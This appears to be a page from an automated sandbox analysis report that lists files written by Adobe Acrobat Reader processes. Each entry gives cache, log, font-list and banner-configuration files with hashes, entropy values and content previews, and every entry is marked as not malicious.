Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.051328684220206
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZS1KxsBdOg2HrKcaq3QYiubxnP7E4T3OF+:Y2sRds/AidMHrl3QYhbxP7nbI+
MD5:	8489C909383A3A880047D67F2282D119
SHA1:	EFF383440C5B04878765CC822E043BC5F1363FB9
SHA-256:	CA0AF087C34372C5A4D6078149D221CF4ABF75D593A2EBCA3D1B9B6DEE2E8751
SHA-512:	A66E1DB44688F9C461FF5B502DCE149EDE0DF8341CA3D57981FCB5E4060B25B0A3C761D30466158C31CFAF108F3E78B00BA36A045055062C2AC04AC9C8D21121
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13358098561380252","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":106238},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\e956b9d7-c8fe-4c75-843f-c0a997edb83d.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.051328684220206
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqZS1KxsBdOg2HrKcaq3QYiubxnP7E4T3OF+:Y2sRds/AidMHrl3QYhbxP7nbI+
MD5:	8489C909383A3A880047D67F2282D119
SHA1:	EFF383440C5B04878765CC822E043BC5F1363FB9
SHA-256:	CA0AF087C34372C5A4D6078149D221CF4ABF75D593A2EBCA3D1B9B6DEE2E8751
SHA-512:	A66E1DB44688F9C461FF5B502DCE149EDE0DF8341CA3D57981FCB5E4060B25B0A3C761D30466158C31CFAF108F3E78B00BA36A045055062C2AC04AC9C8D21121
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13358098561380252","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":106238},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4509
Entropy (8bit):	5.237094105013896
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUqGRiR5Z:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLZ
MD5:	1DBA31E0E383F60DABA63D7B1D2B6B79
SHA1:	B9A6F2CAA2278749FB2852662E20A56638C76FA9
SHA-256:	75830C6660EF4A6C0D983A1F8D41057D100DA59ACBDE5E9192FA6D207E632DD7
SHA-512:	72C4E8E4BD7CCB380DB3FBA6D88055932271F1218997C07C55DA8F58709113D553352DF4FBD0AECC31B3F236C6EEFA3D23305A7E9650C699C1F7DD08D3E26ADF
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.175687595847604
Encrypted:	false
SSDEEP:	6:X9aL+q2P92nKuAl9OmbzNMxIFUt8Ygfl1Zmw+YG0GjLVkwO92nKuAl9OmbzNMFLJ:X9O+v4HAa8jFUt8Yi1/+YGfV5LHAa84J
MD5:	4015F9A9FA17E9EA7C3A985432FFC97D
SHA1:	34571F43B864E002223871432CE5F14E60C4CA2F
SHA-256:	24728939F8B87E821F87085C6C15FBFE5E7D28F83D8D1F459C43B497A5B704E6
SHA-512:	1F5878F59FC7352471FDB3B8BAEB520C16699382B3EAA9372530B693281C9614E94B2F914C39E3DEFCC29ECDDFDDE9ED0CC82B3E0E50A1156152A12CD8D6348E
Malicious:	false
Reputation:	low
Preview:	2024/04/19-16:55:50.129 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/04/19-16:55:50.150 1c9c Recovering log #3.2024/04/19-16:55:50.152 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.175687595847604
Encrypted:	false
SSDEEP:	6:X9aL+q2P92nKuAl9OmbzNMxIFUt8Ygfl1Zmw+YG0GjLVkwO92nKuAl9OmbzNMFLJ:X9O+v4HAa8jFUt8Yi1/+YGfV5LHAa84J
MD5:	4015F9A9FA17E9EA7C3A985432FFC97D
SHA1:	34571F43B864E002223871432CE5F14E60C4CA2F
SHA-256:	24728939F8B87E821F87085C6C15FBFE5E7D28F83D8D1F459C43B497A5B704E6
SHA-512:	1F5878F59FC7352471FDB3B8BAEB520C16699382B3EAA9372530B693281C9614E94B2F914C39E3DEFCC29ECDDFDDE9ED0CC82B3E0E50A1156152A12CD8D6348E
Malicious:	false
Reputation:	low
Preview:	2024/04/19-16:55:50.129 1c9c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/04/19-16:55:50.150 1c9c Recovering log #3.2024/04/19-16:55:50.152 1c9c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-240419145553Z-154.bmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PC bitmap, Windows 3.x format, 117 x -152 x 32, cbSize 71190, bits offset 54
Category:	dropped
Size (bytes):	71190
Entropy (8bit):	0.36930673554009624
Encrypted:	false
SSDEEP:	48:NsIjgoFzdHy4+dbToJO2DnorpXa/eaWkt2JcDaSiPW/yafFAHN4ZLJvel14rt4dp:NssBS4kbsJOJrpXxkth2S4IyO1LZu/
MD5:	804563E4BE3ADA92CD25879F81F0F48C
SHA1:	1D0D1CE3683B079F3157BEF7FD83C9A193497F94
SHA-256:	031C4772B51D8C9250989557E154E9C6AF2BB16DFCAE1DBA118D1F660EB86B22
SHA-512:	FAA7B3B15C297C333C02322AC837A9F8255088642D972A7394BBA71F9E941BBB63AB1453A069E7567DA72AD5248F204F558051011FEB615DAEA981431E4B3040
Malicious:	false
Reputation:	low
Preview:	BM........6...(...u...h..... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3788

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	185099
Entropy (8bit):	5.182478651346149
Encrypted:	false
SSDEEP:	1536:JsVoWFMWQNk1KUQII5J5lZRT95tFiQibVJDS+Stu/3IVQBrp3Mv9df0CXLhNHqTM:bViyFXE07ZmandGCyN2mM7IgOP0gC
MD5:	94185C5850C26B3C6FC24ABC385CDA58
SHA1:	42F042285037B0C35BC4226D387F88C770AB5CAA
SHA-256:	1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
SHA-512:	652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	227002
Entropy (8bit):	3.392780893644728
Encrypted:	false
SSDEEP:	1536:WKPC4iyzDtrh1cK3XEivK7VK/3AYvYwgF/rRoL+sn:DPCaJ/3AYvYwglFoL+sn
MD5:	87EDBEE38F56C20298F25D5D3D4D1B5C
SHA1:	7F904E9615AC3186A87472EF366DD8202855B0B7
SHA-256:	A46B56D3ABCC137D1872DDF20EED4BCD7D04518282282ADB32DDCCF70D7FFBA6
SHA-512:	BBEBC1FCD5BC9AE042DD5782425BA8C47BF3EAC283B2487FC4E3FF6BF8101306DAB081E5135594165D4DC1AC120FF125AADBC5B3FFE7C646183C04DF77865E0D
Malicious:	false
Preview:	Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.299181263907734
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJM3g98kUwPeUkwRe9:YvXKXpEptyYpW7JsGMbLUkee9
MD5:	B4E53788960122825702A8736EB3FAF9
SHA1:	A61B82E291965883177FC9FE58488C539D6E01FF
SHA-256:	470028564333E56211BF4310FB745EE94B7824C4827F31F20522B13AEC971DE1
SHA-512:	1253C0AC9BD55F641DD9A9C12F284BED12A116227A9818846CE6AA5BDBF38CC95DDF4B1449C43A21BE8A396FFCFD7E87E9746B32D75CCD2C1FD2D3B170D60C23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.231689815298831
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfBoTfXpnrPeUkwRe9:YvXKXpEptyYpW7JsGWTfXcUkee9
MD5:	6618D0381B515A8DBC1187EB715407AD
SHA1:	AB8E2146FF9F4FC1F8ECF7975790F86C83A84239
SHA-256:	EF4952A00F46AAF6A65E13E1026D22140F20F8B34AF49AD50F1D13A7FCD661D4
SHA-512:	ED8EC6DC6B85D2EADC7E19D2C7684CDF772DFAC6ADD6461872E17053788ED0DE69CD26A721269282D1504622D5B5BBEC1D7410BA24115DF8498280AFA0921B96
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.210839097414714
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfBD2G6UpnrPeUkwRe9:YvXKXpEptyYpW7JsGR22cUkee9
MD5:	005FF1A9C28B49AF5C21041225448F7F
SHA1:	90190EB8D3D4876EA143291B270C64B1870DC109
SHA-256:	BEE15B52CEAC323F446A191D8835D0D117D5B6C44115FF4044264FCCFA985FE9
SHA-512:	4AEC5FAA7E5D2F0063BE00B763177B0007A1FBA96C55CF5229E90AC3D7DF450EF06073069F9B82B6A9ACA93A3A1DC21628D6CF3938DC0BEE25083C6A8AC5B8C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.2758221372666005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfPmwrPeUkwRe9:YvXKXpEptyYpW7JsGH56Ukee9
MD5:	5E29352052D028490014447EBEC18271
SHA1:	97FA2602D3325784D394DF2295548B433F9D639F
SHA-256:	06920FA11D21A0B04EEAA34E37440DB94A95B49AF12495067D0951E75D9AD161
SHA-512:	5AF482CD283343B30C074773573DF5CB4ED6814F22E188AFEDD167B897FA310B884DDD1A88CD9A67BF540BF637A10F4CFA0B9F48973C5793213B90DBCD30743A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.232186814555439
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfJWCtMdPeUkwRe9:YvXKXpEptyYpW7JsGBS8Ukee9
MD5:	0A9364080EBAF2CDF19D5ACD61BF7EB4
SHA1:	883F69CCDDB882FB639D2E12BBCE43A61FB82B20
SHA-256:	73E9EF90041D12B84586CC7C17BD3668E655E5EA8B2E78EDFC68F09ABCC5A1F6
SHA-512:	14563CB0724B7BE98A945C76EAD6AEE6197F81F0C355C7A7B6B21879A2DEDE7B72974B4D8F84D5DAF4A0B05C3ECFB600776D11BF07C4D2541729EB6E89447E42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.218162567042533
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJf8dPeUkwRe9:YvXKXpEptyYpW7JsGU8Ukee9
MD5:	A01D87B9188CD242F282CF01F6B46869
SHA1:	7A8CDD213172180DB2DC487D4389326D7AF47217
SHA-256:	C42EB4F6A4CDF8B4E70C9836AB32DCA2242F39A7C029253222B6D10609F526FE
SHA-512:	BC0537A29A58CF834F560DA901330ED2966475882CBD706CD8870117E4837FED1BB0261CD51057FA144EA0325F7604B5B068BA7D35D626194BF68389F24F7524
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.218320850076815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfQ1rPeUkwRe9:YvXKXpEptyYpW7JsGY16Ukee9
MD5:	6A37C7C89990B1FF94A69F0FE1E85C71
SHA1:	E58B82A09CBF3BEC503F8852CA7286483D89C83A
SHA-256:	7188290EB9DEEB5C10FD2D1F1DDF01162CA98CEB7A3A4A7A31AFF2DB1AA230F6
SHA-512:	D93A0275AB311935EA47EB311A74529CDD1B9A3C39527FF95555ABDF2E182A077DFC3B08BCBC646123124BF213268A8489F4F469A7452ED8D94E58990B554293
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.239134073799634
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfFldPeUkwRe9:YvXKXpEptyYpW7JsGz8Ukee9
MD5:	EAA8A79669B194AFA5F839649B13B902
SHA1:	1F76C77B0175D36B12DC257625AB060032D8D380
SHA-256:	5FCE668F410AD9B0D184D439C754012AB3887ECF17EEC081195B7476ABF107A4
SHA-512:	8ED056D90C062FB7E2136D7740E9F7E5F183CC7903487B97EE36FCA6264D03712805245A69EC0D28D461EDF1D1B3DC75A35DDA81354BD00F0C5DABCB29A01FC1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1372
Entropy (8bit):	5.7352409058501195
Encrypted:	false
SSDEEP:	24:Yv6XpWXiCKLgENRcbrZbq00iCCBrwJo++ns8ct4mFJNe:YvmWyCEgigrNt0wSJn+ns8cvFJM
MD5:	D802C7B91724D98859D0ED98292FB611
SHA1:	AED6EA7714B16166E4DF1E12BF8C75770BE8F0B4
SHA-256:	ACCBDA386423C9477FB35A5310B12F95222D24A3B1BA5A0C8F47C8994E2E102E
SHA-512:	55CD25A2DCAE145A2FE39B023370AE57970FF99E3C79990AAB7805A74FBDA60DFE4570E66607A85CD0ECB0E865EB8624EFAA994127606C576A8B6F395A5B05AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Home_LHP_Trial_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"79887_247329ActionBlock_0","campaignId":79887,"containerId":"1","controlGroupId":"","treatmentId":"acc56846-d570-4500-a26e-7f8cf2b4acad","variationId":"247329"},"containerId":1,"containerLabel":"JSON for DC_Reader_Home_LHP_Trial_Banner","content":{"data":"eyJjdGEiOnsidHlwZSI6ImJ1dHRvbiIsInRleHQiOiJUcnkgQWNyb2JhdCBQcm8ifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNSIsImZvbnRfc3R5bGUiOiIwIn0sImRlc2NyaXB0aW9uX3N0eWxpbmciOnsiZm9udF9zaXplIjoiMTMiLCJmb250X3N0eWxlIjoiLTEifSwidGl0bGUiOiJGcmVlIDctZGF5IHRyaWFsIiwiZGVzY3JpcHRpb24iOiJHZXQgdW5saW1pdGVkIGFjY2VzcyB0byBwcmVtaXVtIFBERiBhbmQgZS1zaWduaW5nIHRvb2xzLiIsImJ

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2255613401346945
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDUi9EptVx+FIbRI6XVW7+0YIDoAvJfYdPeUkwRe9:YvXKXpEptyYpW7JsGg8Ukee9
MD5:	9BD07A33405B3FD631A80F7827B3BE16
SHA1:	6BD266E7F88715248299AEB882A16AFD4FD6638D
SHA-256:	0589F14872C26ED80FAF4CCF2F56BF0F30661EB5E651FE8A229E70D72ECA70B5
SHA-512:	5D3D31CE32074A0E7ABF042D2B00ECA6780BF51CDEA4AF3EAE6B3C223D395151AD3D21AFA05EE7DA92FCA0B4157EF89A9DF92B6D8F4EF532B24E816F57D8E128
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4180ede4-ccec-4d1f-8ff8-04e392e01e49","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1713715734383,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	5.772221421028446
Encrypted:	false
SSDEEP:	24:Yv6XpWXiBrLgEGOc93W2JeFmaR7CQzttgBcu141CjrWpHfRzVCV9FJNDr:YvmWyBHgDv3W2aYQfgB5OUupHrQ9FJ9r
MD5:	E391ABB9D5599666BB1EAEF243AB4DB3
SHA1:	B9EF825BAD7F81A539DDE5CDABEC9BBAD1F17B1D
SHA-256:	EE09F0D19158F9218FB5EDE3A8982DCE6D2509F8CF68E99EFC990B1E2EE3C5FB
SHA-512:	59A5FE88F3AA3FD5FFCDF95CDF6E9500CEAAAD48B27D9749625E63B163964FEA9F2FCF95C5BD3A94964FE3B11614C1F11FAD3E46F2CF2A5EEF2F260433D069C4
Malicious:	false
